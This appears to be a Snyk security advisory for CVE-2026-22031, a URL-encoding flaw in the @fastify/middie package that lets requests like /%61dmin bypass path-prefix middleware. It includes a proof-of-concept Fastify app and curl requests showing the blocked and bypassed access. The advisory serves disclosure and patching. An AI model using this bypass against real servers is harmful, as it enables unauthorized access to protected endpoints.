Improper Handling of URL Encoding (Hex Encoding) Affecting @fastify/middie package, versions <9.1.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.11% (30th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-FASTIFYMIDDIE-15038725
  • published20 Jan 2026
  • disclosed19 Jan 2026
  • creditHarsh Jaiswal

Introduced: 19 Jan 2026

CVE-2026-22031  (opens in a new tab)
CWE-177  (opens in a new tab)

How to fix?

Upgrade @fastify/middie to version 9.1.0 or higher.

Overview

@fastify/middie is a Middleware engine for Fastify

Affected versions of this package are vulnerable to Improper Handling of URL Encoding (Hex Encoding) where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). An attacker can gain unauthorized access to protected endpoints by sending such requests.

PoC

Step 1: Run the following Fastify application (save as app.js):

const fastify = require('fastify')({ logger: true });

async function start() { // Register middie for Express-style middleware support await fastify.register(require('@fastify/middie'));

// Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end('Forbidden: Access to /admin is blocked'); });

// Sample routes fastify.get('/', async (request, reply) => { return { message: 'Welcome to the homepage' }; });

fastify.get('/admin', async (request, reply) => { return { message: 'Admin panel' }; });

// Start server try { await fastify.listen({ port: 3008 }); } catch (err) { fastify.log.error(err); process.exit(1); } }

start();

Step 2: Execute the attack.

Normal Request (Blocked):

curl http://localhost:3008/admin
# Output: Forbidden: Access to /admin is blocked

Bypass Request (Successful):

curl http://localhost:3008/%61dmin
# Output: {"message":"Admin panel"}

CVSS Base Scores

version 4.0
version 3.1